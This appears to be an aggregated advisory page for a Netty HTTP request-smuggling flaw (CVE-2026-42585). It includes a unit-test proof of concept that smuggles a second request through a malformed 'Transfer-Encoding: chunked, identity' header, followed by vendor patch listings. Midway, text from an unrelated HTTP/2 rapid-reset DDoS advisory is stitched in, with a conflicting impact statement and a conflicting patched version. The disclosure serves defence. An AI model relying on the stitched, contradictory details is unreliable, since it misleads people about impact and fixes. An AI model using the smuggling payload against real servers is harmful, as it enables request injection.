CVE-2026-42585

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-codec-http 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2024-29025, CVE-2025-58056, CVE-2025-67735, CVE-2026-33870, CVE-2026-41417, CVE-2026-42580, CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-50020, CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898, CVE-2026-59899, CVE-2026-59903, and CVE-2026-59921.

CVE-2024-29025: Netty HttpPostRequestDecoder can OOM

CVE-2025-58056: Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions

CVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

CVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

CVE-2026-41417: Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()

CVE-2026-42580: Netty: HTTP Request Smuggling due to incorrect chunk size parsing

CVE-2026-42581: Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

CVE-2026-42584: Netty: HttpClientCodec response desynchronization

CVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding

CVE-2026-42587: Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS

CVE-2026-50020: Netty's HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted

CVE-2026-55831: Netty SPDY SETTINGS frame count materializes unbounded settings map

CVE-2026-55833: Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation

CVE-2026-56745: Netty SpdyHttpDecoder: ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion

CVE-2026-56746: Netty has a Security Control Bypass via CORS Short-Circuit Failure

CVE-2026-59898: Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation

CVE-2026-59899: Netty HttpContentEncoder: Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service

CVE-2026-59903: Netty: Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite

CVE-2026-59921: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

This patched artifact is a drop-in replacement for io.netty:netty-codec-http 4.1.100.Final from Maven Central.

Root has patched CVE-2026-42585 in the io.netty:netty-codec-http package for Root:Maven. Multiple fixed versions available.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

TuxCare rebuilt 12 io.netty packages to address 28 CVEs. Fixed in 4.1.79.Final-tuxcare.2.

TuxCare rebuilt 11 io.netty packages to address 18 CVEs. Fixed in 4.1.87.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 19 CVEs. Fixed in 4.1.99.Final-tuxcare.1.

TuxCare rebuilt 9 io.netty packages to address 10 CVEs. Fixed in 4.1.92.Final-tuxcare.6.

TuxCare rebuilt 47 io.netty packages to address 19 CVEs. Fixed in 4.1.96.Final-tuxcare.1.

TuxCare rebuilt 14 io.netty packages to address 26 CVEs. Fixed in 4.1.118.Final-tuxcare.1.

TuxCare rebuilt 13 io.netty packages to address 24 CVEs. Fixed in 4.1.74.Final-tuxcare.1.

TuxCare rebuilt 8 io.netty packages to address 12 CVEs. Fixed in 4.1.101.Final-tuxcare.2.

TuxCare rebuilt 2 io.netty packages to address 4 CVEs. Fixed in 4.1.80.Final-tuxcare.5.

TuxCare rebuilt 5 io.netty packages to address 6 CVEs. Fixed in 4.1.72.Final-tuxcare.2.

TuxCare rebuilt 4 io.netty packages to address 8 CVEs. Fixed in 4.1.68.Final-tuxcare.2.

TuxCare rebuilt 2 io.netty packages to address 5 CVEs. Fixed in 4.1.81.Final-tuxcare.2.

TuxCare rebuilt 14 io.netty packages to address 32 CVEs. Fixed in 4.1.64.Final-tuxcare.1.

TuxCare rebuilt 8 io.netty packages to address 8 CVEs. Fixed in 4.1.100.Final-tuxcare.3.

TuxCare rebuilt io.netty:netty-codec-http to address 1 CVE. Fixed in 4.1.51.Final-tuxcare.3.

These are all security issues fixed in the netty-4.1.133-1.1 package on the GA media of openSUSE Tumbleweed.

This update for netty, netty-tcnative fixes the following issues

• CVE-2026-41417: missing validations leads to HTTP request smuggling and RTSP request injection via start-line injection in DefaultHttpRequest.setUri() (bsc#1264350).
• CVE-2026-42578: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty (bsc#1265243).
• CVE-2026-42579: DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding (bsc#1265272).
• CVE-2026-42580: chunk size parser silently overflows int and enables request smuggling attacks (bsc#1265273).
• CVE-2026-42581: TE+CL header coexistence in HTTP/1.0 requests bypasses smuggling sanitization (bsc#1265277).
• CVE-2026-42583: resource exhaustion and possible denial of service via Lz4FrameDecoder (bsc#1265279).
• CVE-2026-42584: improper handling of inbound responses in HttpClientCodec can lead to response desynchronization (bsc#1265280).
• CVE-2026-42585: Netty is an asynchronous, event-driven network application framework (bsc#1265292).
• CVE-2026-42586: CRLF Injection in Netty Redis Codec Encoder (bsc#1265245).
• CVE-2026-42587: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS (bsc#1265246).
• CVE-2026-44248: Netty is an asynchronous, event-driven network application framework (bsc#1265294).
• CVE-2026-42582: HTTP/3 QPACK literal unbounded allocation (bsc#1265318).

Changes for netty:

• Upgrade to upstream version 4.1.133